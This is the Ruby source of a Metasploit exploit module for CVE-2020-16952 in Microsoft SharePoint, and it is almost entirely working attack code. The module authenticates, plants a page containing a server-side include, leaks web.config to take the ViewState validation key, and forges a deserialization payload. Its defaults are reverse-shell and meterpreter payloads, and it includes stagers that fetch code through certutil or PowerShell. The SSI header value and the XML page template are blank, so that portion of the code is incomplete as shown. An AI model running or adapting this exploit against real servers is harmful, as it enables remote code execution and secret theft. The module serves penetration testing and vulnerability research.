## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::ViewState include Msf::Exploit::CmdStager include Msf::Exploit::Powershell def initialize(info = {}) super( update_info( info, 'Name' => 'Microsoft SharePoint Server-Side Include and ViewState RCE', 'Description' => %q{ This module exploits a server-side include (SSI) in SharePoint to leak the web.config file and forge a malicious ViewState with the extracted validation key. This exploit is authenticated and requires a user with page creation privileges, which is a standard permission in SharePoint. The web.config file will be stored in loot once retrieved, and the VALIDATION_KEY option can be set to short-circuit the SSI and trigger the ViewState deserialization. Tested against SharePoint 2019 on Windows Server 2016. }, 'Author' => [ 'mr_me', # Discovery and exploit 'wvu' # Module ], 'References' => [ ['CVE', '2020-16952'], ['URL', 'https://srcincite.io/advisories/src-2020-0022/'], ['URL', 'https://srcincite.io/pocs/cve-2020-16952.py.txt'], ['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16952'] ], 'DisclosureDate' => '2020-10-13', # Public disclosure 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => false, 'Targets' => [ [ 'Windows Command', 'Arch' => ARCH_CMD, 'Type' => :win_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' } ], [ 'Windows Dropper', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :win_dropper, 'CmdStagerFlavor' => %i[psh_invokewebrequest certutil vbs], 'DefaultOptions' => { 'CMDSTAGER::FLAVOR' => :psh_invokewebrequest, 'PAYLOAD' => 'windows/x64/meterpreter_reverse_https' } ], [ 'PowerShell Stager', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :psh_stager, 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_https' } ] ], 'DefaultTarget' => 2, 'DefaultOptions' => { 'DotNetGadgetChain' => :TypeConfuseDelegate }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [UNRELIABLE_SESSION], # SSI may fail the second time 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/']), OptString.new('VALIDATION_KEY', [false, 'ViewState validation key']), # "Promote" these advanced options so we don't have to pass around our own OptString.new('HttpUsername', [false, 'SharePoint username']), OptString.new('HttpPassword', [false, 'SharePoint password']) ]) end def post_auth? true end def username datastore['HttpUsername'] end def password datastore['HttpPassword'] end def vuln_builds [ [Gem::Version.new('15.0.0.4571'), Gem::Version.new('15.0.0.5275')], # SharePoint 2013 [Gem::Version.new('16.0.0.4351'), Gem::Version.new('16.0.0.5056')], # SharePoint 2016 [Gem::Version.new('16.0.0.10337'), Gem::Version.new('16.0.0.10366')] # SharePoint 2019 ] end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) ) unless res return CheckCode::Unknown('Target did not respond to check.') end # Hat tip @tsellers-r7 # # MicrosoftSharePointTeamServices: 16.0.0.10337: 1; RequireReadOnly unless (build_header = res.headers['MicrosoftSharePointTeamServices']) return CheckCode::Unknown('Target does not appear to be running SharePoint.') end unless (build = build_header.scan(/^([\d.]+):/).flatten.first) return CheckCode::Detected('Target did not respond with SharePoint build.') end if vuln_builds.any? { |build_range| Gem::Version.new(build).between?(*build_range) } return CheckCode::Appears("SharePoint #{build} is a vulnerable build.") end CheckCode::Safe("SharePoint #{build} is not a vulnerable build.") end def exploit unless username && password fail_with(Failure::BadConfig, 'HttpUsername and HttpPassword are required for exploitation') end if (@validation_key = datastore['VALIDATION_KEY']) print_status("Using ViewState validation key #{@validation_key}") else create_ssi_page leak_web_config end print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :win_cmd execute_command(payload.encoded) when :win_dropper execute_cmdstager when :psh_stager execute_command(cmd_psh_payload( payload.encoded, payload.arch.first, remove_comspec: true )) end end def create_ssi_page print_status("Creating page for SSI: #{ssi_path}") res = send_request_cgi( 'method' => 'PUT', 'uri' => ssi_path, 'data' => ssi_page ) unless res fail_with(Failure::Unreachable, "Target did not respond to #{__method__}") end unless [200, 201].include?(res.code) if res.code == 401 fail_with(Failure::NoAccess, "Failed to auth with creds #{username}:#{password}") end fail_with(Failure::NotFound, 'Failed to create page') end print_good('Successfully created page') @page_created = true end def leak_web_config print_status('Leaking web.config') res = send_request_cgi( 'method' => 'GET', 'uri' => ssi_path, 'headers' => { ssi_header => '
' } ) unless res fail_with(Failure::Unreachable, "Target did not respond to #{__method__}") end unless res.code == 200 fail_with(Failure::NotFound, "Failed to retrieve #{ssi_path}") end unless (web_config = res.get_xml_document.at('//configuration')) fail_with(Failure::NotFound, 'Failed to extract web.config from response') end print_good("Saved web.config to: #{store_loot('web.config', 'text/xml', rhost, web_config.to_xml, 'web.config', name)}") unless (@validation_key = extract_viewstate_validation_key(web_config)) fail_with(Failure::NotFound, 'Failed to extract ViewState validation key') end print_good("ViewState validation key: #{@validation_key}") ensure delete_ssi_page if @page_created end def delete_ssi_page print_status("Deleting #{ssi_path}") res = send_request_cgi( 'method' => 'DELETE', 'uri' => ssi_path, 'partial' => true ) unless res fail_with(Failure::Unreachable, "Target did not respond to #{__method__}") end unless res.code == 204 print_warning('Failed to delete page') return end print_good('Successfully deleted page') end def execute_command(cmd, _opts = {}) vprint_status("Executing command: #{cmd}") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/_layouts/15/zoombldr.aspx'), 'vars_post' => { '__VIEWSTATE' => generate_viewstate_payload( cmd, extra: pack_viewstate_generator('63E6434F'), # /_layouts/15/zoombldr.aspx algo: 'sha256', key: pack_viewstate_validation_key(@validation_key) ) } ) unless res fail_with(Failure::Unreachable, "Target did not respond to #{__method__}") end unless res.code == 200 fail_with(Failure::PayloadFailed, "Failed to execute command: #{cmd}") end vprint_good('Successfully executed command') end def ssi_page <<~XML XML end def ssi_path @ssi_path ||= normalize_uri(target_uri.path, "#{rand_text_alphanumeric(8..42)}.aspx") end def ssi_header @ssi_header ||= rand_text_alphanumeric(8..42) end def ssi_param @ssi_param ||= rand_text_alphanumeric(8..42) end end